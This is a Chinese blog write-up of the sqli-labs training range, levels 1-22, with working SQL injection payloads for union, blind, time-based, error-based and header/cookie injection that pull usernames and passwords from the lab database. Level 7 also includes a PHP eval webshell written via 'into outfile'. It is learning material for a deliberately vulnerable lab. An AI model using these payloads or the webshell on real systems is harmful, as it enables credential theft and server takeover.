sqli-libs Page-1解题笔记

开始说明:

本次文章所需要的技术借鉴了B站大佬crowsec录制视频时所用的技术,旨在记录所学成果,同时我也会附上自己的总结心得,还望诸位大佬多多指正。本次所需工具为hackbar;我这里使用的靶场为buu靶场,所以无环境搭建过程。

第一关

作为一个刚接触的sql注入的小白来讲,构造payload语句简直要了老命,十分难记。不过没有办法,多多练习。
看第一关的名字,single quote:单引号;
我们先打卡harkbar或者直接用url传参,?id=1 --+
在这里插入图片描述
看看效果;
在这里插入图片描述
这里为啥用–+呢,因为我们输入的语句会被传到数据库构成语句执行,所以
为了输入句子不受干扰,输入–+把后面直接注释掉。当然#也可以。
接下来我们用’试试是否会显示出报错。输入?id=1’
在这里插入图片描述

出现报错,这是因为在MySQL数据库中的id是被‘’包裹的,输入id=1’则会有’1’‘的效果,接下来就是直接上语句了;先了解一下order by是什么意思;
在这里插入图片描述
是个排序的,如此说来,我们只要输入对应的值,就可以了解到其中的记录数量;输入?id=1’ order by 3–+
在这里插入图片描述
输入?id=1’ order by 4 --+
在这里插入图片描述
这里因为省时间所以用3,4.实际上可以用二分法,先来个数值大的,不行的话则折中,不行再折中…可以快速定位;接下来我们了解一下联合查询语句,union select;
在这里插入图片描述
我们之前通过order by就可以得知参与排序的有三个字段,这里用联合查询语句试验一下;这里要给1’填上-号,防止1’被执行了,后面没union select什么事情了。?id=-1’ union select 1,2,3–+
在这里插入图片描述
执行效果如下:
在这里插入图片描述
发现2和3被显现出来,接下来了解新的语句。database(),group_concat()。和各名称:schema_name,information_schema.xxx,tables_schema,table_name,column_name,具体啥意思,请自行百度。
接下来输入语句?id=-1’ union select 1,2,database()–+,把3换成database()是因为其会在数据库中执行select database()指令,进而显示数据库名称。
在这里插入图片描述
发现数据库名称security,当然也可以看全部库名,输入:?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+
在这里插入图片描述
接下来继续构造:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ --+(‘security’可以替换成0x security的哈希值)
在这里插入图片描述
继续:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’ --+(‘users’可以替换成0x users的哈希值)
在这里插入图片描述
看到了password和username了,在此之前,我们先了解一下concat_ws()的用法。然后构造语句:?id=-1’ union select 1,2,group_concat(password,username) from security.users --+在这里插入图片描述
或者构造:?id=-1’ union select 1,2,concat_ws(’~’,username,password) from security.users limit 1,1 --+(limit 1,1前面的1可以换成2,3什么的,会有不同的结果显示出);
在这里插入图片描述
总结:第一关的语句尤其需要牢记,因为后面大部分的payload构造基本上是换汤不换药。

第二关

先看标题,based-Intiger:
在这里插入图片描述
当然不能这么说,他的意思是字符型注入;所以只需把id=1’改成id=1就可以,其余与第一题一致;

第三关

继续看标题(肯定不能看标题就得出如何注入,还得看源码。),直接用id=’)即可;

第四关

看标题,直接用id=1"即可;

第五关

这一关我们得了解一下盲注,用到语句left(),substr(),ascii();直接上语句;基本语句用法与第一关差不多,先用order by接着直接上语句:?id=1’ and left((select database()),1)=‘s’ --+
在这里插入图片描述
如将s改为a,则:在这里插入图片描述
所以继续构造语句:?id=1’ and left((select database()),2)=‘se’ --+
在这里插入图片描述
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1 ),1,1))>1–+
在这里插入图片描述
接下来只要对select table_name from information_schema.tables where table_schema=‘security’ limit 0,1内容替换即可。可根据回显猜出数值;这么做很费时间,所以一般用burpsuite来爆破解决;
总结:前面所学的联合查询,这里则是盲注,要多加练习;

第六关

id=1",余下同上;

第七关

第七关则需认识新语句,load_file(),与into outfile(),这里因为使用buu的缘故,所以无法很好的掌握路径进而写入一句话木马,所以不予展示,只展示构造语句:?id=-1’)) union select 1,2’<?php @eval ($_POST[a]);?>’ into outfile ‘path’–+然后连接;(如果是Windows地下的文件地址要用\代替);

第八关

这里是基于时间的盲注,也可使用布尔盲注,但是我想写时间盲注。所以得知晓新语句,if(),sleep(),length();
具体语句如下:?id=1’ and if(length(database())=8,sleep(5),sleep(1))–+
在这里插入图片描述
会发现页面加载五秒才跳转,如果长度不是8,则会加载一秒;
接下来使用语句ascii():?id=1’ and if( ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1 ),1,1))>1,sleep(1),sleep(5))–+,会发现页面开始加载。在这里插入图片描述
余下进行猜解,步骤类似;

第九关

同上;

第十关

同上,除了id=1"

第十一关

在这里插入图片描述
这里看到一个框,再看看标题。这里就与前些关不同。为POST型注入。所以我们先去搜索一个万能密码试一下。在这里插入图片描述
连续试了几次仍然是这个样子,所以这里我们抓包看看;在这里插入图片描述
因为我们输入账号是123,密码是123,所以我们将uname=123&passwd=123&submit=Submit截取,放入hackbar的POST DATA中;
在这里插入图片描述
在这里插入图片描述
将uname值更改,发现注入点,构造payload语句:uname=123’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’ #&passwd=123&submit=Submit
在这里插入图片描述
余下与上面类似;

第十二关

uname=1",其余与第十一关相同;

第十三关

开始以为与上面类似,构造语句:uname=123’ )union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’ #&passwd=123&submit=Submit
在这里插入图片描述
结果并无回显,开始猜测是否为盲注;构造语句:uname=123’) or if(length(database())=8,1,sleep(3)) #&passwd=admin&submit=Submit,余下内容同上。(疑惑:为啥这题在buu上写uname=123’) or if(length(database())=8,sleep(5),sleep(3)) #&passwd=admin&submit=Submit则不停加载,很疑惑。)

第十四关

把上一关的123’)换成123"),其余不变;

第十五关

与passwd处进行注入,单引号。其余同上;

第十六关

passwd=admin")其余同上;

第十七关

这一关主要介绍了爆破注入,我们需要知晓新的语句,updatexml();构造语句:uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select password from security.users limit 3,1),0x7e),1)#&submit=Submit在这里插入图片描述
蓝色区域可以类似替换查询,与上关类似;

第十八关

这一关需要的条件是输入正确的账号与密码,并了解http头协议。本关的要点在于User-Agent处可以注入;操作如下:
先输入正确的账号密码,分别为admin,admin;
在这里插入图片描述
输入后抓包可与hackbar中粘贴:uname=admin&passwd=admin&submit=Submit,点击传参。
在这里插入图片描述
所见蓝色区域内。这里我们用Firefox的工具,modify header value。构造payload:’ or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1),",")#
在这里插入图片描述
在这里插入图片描述
于是可发现报错注入结果;语句构造与上面类似;

第十九关

十九关于refer-headers处注入;所以继续使用modify header value修改,payload:'or updatexml(1,concat(0x7e,(database())),1) or ‘1’='1
在这里插入图片描述
在这里插入图片描述
可见为报错注入;语句构造与前关类似;

第二十关

此关于cookie处注入,别问我是怎么知道的;
在这里插入图片描述
需要用的工具为cookie editor;直接构造payload:'union select 1,2,database()#
在这里插入图片描述
保存后发送刷新可得,
在这里插入图片描述
其余语句类似;

第二十一关

本关在于将cookie的value值用base64编码,其余同上;

第二十二关

本关在于闭合时用的是"而非’,并且value值也用base64编码。其余同上;

总结:sqli-libs的page 1关卡旨在理解sql注入语句的构造,至于后面关卡的绕过姿势在本关卡少有体现。但靶场环境不等于实际渗透环境,仍需要付出很多努力学习。

后续:至于对我所写的文章有所疑惑,可以参考B站大佬crowsec的教程视频,真的很好。希望能帮助大家理解sql注入。因为关数很多,我又想偷懒,所以可能会看起来有些吃力,不过理解了也会一目了然。还望大家多多指正。后续我会继续更新笔记。请多多关注(可能时间很长)。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

akicy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值